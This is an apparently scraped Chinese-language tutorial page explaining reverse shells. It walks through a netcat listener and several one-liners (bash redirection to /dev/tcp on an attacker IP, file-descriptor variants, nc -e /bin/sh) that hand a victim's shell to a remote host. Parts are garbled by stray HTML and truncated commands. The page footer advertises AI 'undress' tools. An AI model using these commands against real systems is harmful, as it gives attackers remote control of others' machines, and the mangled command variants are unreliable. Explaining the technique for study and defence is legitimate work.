反彈shell是什麼意思
*嚴格聲明:本文僅限於技術討論與分享,嚴禁用於非法途徑。
0x00 前言
反彈shell
,就是控制端監聽在某TCP/UDP
端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。
通俗點說,反彈shell
就是一種反向鏈接,與正向的ssh
等不同,它是在對方電腦執行命令連接到我方的攻擊模式,而這種攻擊模式必須搭配遠端執行指令漏洞來使用。
為什麼要反彈shell
? 通常用來被指控端因防火牆受限、權限不足、連接埠被佔用等情形。
假設我們攻擊了一台機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器,這是比較常規的形式,我們叫做正向連接。遠端桌面,web
服務,ssh
,telnet
等等,都是正向連線。
那麼什麼情況下正向連線不太好用了呢:
1.某客戶機中了你的網馬,但是它在區域網路內,你直接連接不了。
2.它的
ip
會動態改變,你不能持續控制。3.由於防火牆等限制,對方機器只能傳送請求,不能接收請求。
4.對於病毒,木馬,受害者什麼時候能中招,對方的網路環境是什麼樣的,什麼時候開關機,都是未知,所以建立一個服務端,讓惡意程式主動連接,才是上策。
那麼反彈就很好理解了, 攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈shell
。
0x01 反彈shell演示
我們用bash
遠端程式碼執行漏洞實例來了解一下他的原理
攻擊端:10.100. 40.5 受害機:192.168.197.136
首先我們需要在攻擊端去監聽端口,透過這個端口來接收受害機反彈的shell
#在攻擊端輸入指令nc -l 2333
然後在受害機執行指令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
shell#,在我們的攻擊端就能對受害端來進行下一步操作
bash -i
bash是
linux的一個比較常見的
shell,是許多
Linux發行版的預設
Shell。
-i這個參數的意思是產生互動的
shell
./dev/tcp/ip/port
/dev/tcp|udp/ip/port這個檔案是特別特殊的,實際上可以將其看成一個裝置(
Linux下一切皆檔案),其實如果你存取這個檔案的位置他是不存在的,如下圖:
socket通訊
/dev/tcp這個檔案中
2333端口,並且在攻擊端輸入內容回車就會出現在受害端。
shell的輸出重新導向到攻擊機上;
bash -i > /dev/tcp 10.100.40.5/2333
这样只是回显而已,并没有办法在攻击端直接执行命令。
(6)所以我们还需要将攻击者输入的指令输入给受害者的bash
:
bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" class="lazy" alt="反彈shell是什麼意思"></p><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" class="lazy" alt="反彈shell是什麼意思"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1
受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :
bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1
这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
2.2 常见反弹shell方法
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&1;done 0/dev/tcp/attackerip/4444; sh &196 2>&196
(4) 方法四
nc -e /bin/sh 10.100.40.5 2333
以上是反彈shell是什麼意思的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

<p>自訂您的作業系統是讓您的日常生活更加愉快的絕佳方式。您可以變更使用者介面、套用自訂主題、新增小工具等等。因此,我們今天將向您展示如何在Windows11上安裝ClassicShell。 </p><p>程式已經存在了很長時間,並允許您修改作業系統。志工現在已經開始運作該組織,該組織於2017年解散。新專案名為OpenShell,目前在Github上可供有興趣的人使用。 </p>&a

您在執行腳本時是否看到此錯誤訊息「Add-AppxPackage:部署失敗,HRESULT:0x80073D02,無法安裝該包,因為它修改的資源目前正在使用中。PowerShell中出現錯誤0x80073D02…」?如錯誤訊息所述,當使用者在前一個進程執行時嘗試重新註冊一個或所有WindowsShellExperienceHost應用程式時,確實會發生這種情況。我們已經獲得了一些簡單的解決方案來快速解決這個問題。修復1–終止體驗主機程序您必須在執行powershell指令之前結束

無法在Windows 11上運行的 Open shell 並不是一個新問題,而且自從這個新作業系統問世以來一直困擾著使用者。 Open-Shell Windows 11 不工作問題的原因並不具體。它可能是由程式中的意外錯誤、病毒或惡意軟體的存在或損壞的系統檔案引起的。對於不知道的人,Open-Shell 是 2017 年停產的 Classic Shell 的替代品。您可以查看我們的教學課程,以了解如何在 Windows 11 上安裝 Classic Shell。如何替換 Windows 11 的開始菜
![探險家.exe 在系統啟動時不啟動 [修復]](https://img.php.cn/upload/article/000/887/227/168575230155539.png?x-oss-process=image/resize,m_fill,h_207,w_330)
如今,許多Windows用戶開始遇到嚴重的Windows系統問題。問題是系統載入後Explorer.exe無法啟動,使用者無法開啟檔案或資料夾。雖然,Windows使用者在某些情況下可以使用命令提示字元手動開啟Windows資源管理器,並且每次系統重新啟動或系統啟動後都必須這樣做。這可能是有問題的,並且是由於下面提到的以下因素造成的。損壞的系統檔案。啟用快速啟動設定。過時或有問題的顯示驅動程式。對系統中的某些服務進行了更改。修改後的註冊表文件。請記住以上所有因素,我們提出了一些肯定會對用戶有所幫助

Linux系統下在處理檔案時,有時候需要刪除檔案末端的行。這種操作在實際應用中很常見,可以透過一些簡單的命令來實現。本文將介紹在Linux系統中快速刪除檔案結尾行的操作步驟,同時提供具體的程式碼範例。步驟一:檢視文件末尾行在進行刪除操作之前,首先需要確認文件的末尾行是哪一行。可以使用tail指令來查看文件的結尾行,具體指令如下:tail-n1filena

適用於 Linux 的 Windows 子系統第一種選擇是使用適用於 Linux 或 WSL 的 Windows 子系統,這是一個相容層,用於在 Windows 系統上本機執行 Linux 二進位執行檔。它適用於大多數場景,允許您在 Windows 11/10 中執行 shell 腳本。 WSL 不會自動可用,因此您必須透過 Windows 裝置的開發人員設定來啟用它。您可以透過前往設定 > 更新和安全性 > 對於開發人員來完成。切換到開發人員模式並透過選擇是確認提示。接下來,找 W

Python 腳本部分範例:企業微信警告、FTP 用戶端、SSH 用戶端、Saltstack 用戶端、vCenter 用戶端、取得網域名稱ssl 憑證過期時間、傳送今天的天氣預報以及未來的天氣趨勢圖;Shell 腳本部分實例:SVN完整備份、Zabbix 監控使用者密碼過期、建置本地YUM 以及上篇文章中有讀者的需求(負載高時,查出佔用比較高的進程腳本並儲存或推播通知);篇幅有些長,也請大家耐心翻到文末,畢竟有彩蛋。 Python 腳本部分企業微信警告此腳本透過企業微信應用,進行微信告警,可用於

OpenShell是一個免費的軟體實用程序,可用於自訂Windows11開始選單,使其類似於經典風格的選單或Windows7樣式的選單。先前版本的Windows上的開始功能表為使用者提供了一種瀏覽其係統內容的簡單方法。基本上,OpenShell是ClassicShell的替代品,它提供了不同的使用者介面元素,有助於從先前的Windows版本取得後一個版本的功能。一旦ClassicShell的開發在2017年停止,它就由GitHub志工以OpenShell的名義維護和開發。它與Win
